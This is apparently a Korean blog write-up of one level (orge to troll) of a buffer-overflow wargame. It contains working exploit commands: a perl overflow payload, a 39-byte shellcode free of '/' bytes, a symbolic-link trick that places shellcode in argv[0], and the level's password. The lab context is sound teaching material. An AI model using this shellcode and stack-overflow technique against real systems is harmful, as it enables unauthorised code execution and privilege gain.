1. 취약점
드디어 이 때까지 argv[2]를 활용한 공격을 한 것의 대응책을 가지고 왔다.
애초에 2개이상의 매개변수를 받지 않는데다가 argv[1]은 프로그램 종료시에 0으로 초기화한다.
하지만 우리는 이 전 라운드로 심볼릭 링크를 이용하면 argv[0]을 변경할 수 있다는 걸 알게 되었다.
이번 공략은 argv[0]에 쉘 코드를 올리는 것이 중요하다
2. Exploit
1. bash2를 사용하고 troll.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다
$ bash2
$ cp orge.c /tmp/troll.c && cd /tmp
2. argv[0] 시작 주소를 알기 위해 소스 코드를 변경한 후 gcc로 컴파일을 한 후 실행한다.
$ vi ./troll.c
$ gcc -g -o troll troll.c
gdb로 주소를 얻어서 해결하는 과정에서 nop가 있는 주소를 새로운 Return Address로 했는데 Segmentation Falut만 자꾸 뜬다. 그래서 소스코드를 수정해서 argv[0]의 주소를 얻어오는게 더 낫겠다고 생각이 들었다.
$ ./troll `perl -e 'print "A"x 44, "\xbf"x4'`
실행 파일의 파일명 크기에 따라서 argv[0]의 크기가 달라지는 점을 고려해서 nop구간의 시작 부분은 대략 현재주소 +30 ~ +80으로 추정된다. (파일명 길이차이 +5, A +20, nop 갯수 +50)
따라서 new Return Address는 0xbffffc5c 로 지정하였다.
3. 쉘코드를 만들거나 웹에서 주어온다♥
\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3
심볼릭 링크를 사용할 경우 /x2f 즉 "/" 가 있으면 안된다.. /는 리눅스 경로 개념이므로 파일 이름으로는 부적합하기 때문이다. 따라서 구글에서 "2f없는 쉘코드"를 찾으면 몇몇 사이트가 알려준다. (구글링은 사랑이쥬)
이번 쉘 코드의 크기는 39byte이다
7. 괴.. 괴롭혀 주겠다...
(gdb) q
$ cd ~
$ ln -s ./troll `perl -e 'print "A"x20, "\x90"x50, "[쉘 코드]"'`
$ ./A [Tab키] `perl -e 'print "A"x44, "\x5c\xfc\xff\xbf"'`
8. 결과
id : troll passwd : aspirin
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (vampire -> skelton) (0) | 2016.10.08 |
---|---|
[버퍼 오버플로우] Bof 원정대 (troll -> vampire) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (darkelf -> orge) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (wolfman -> darkelf) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (orc -> wolfman) (0) | 2016.10.07 |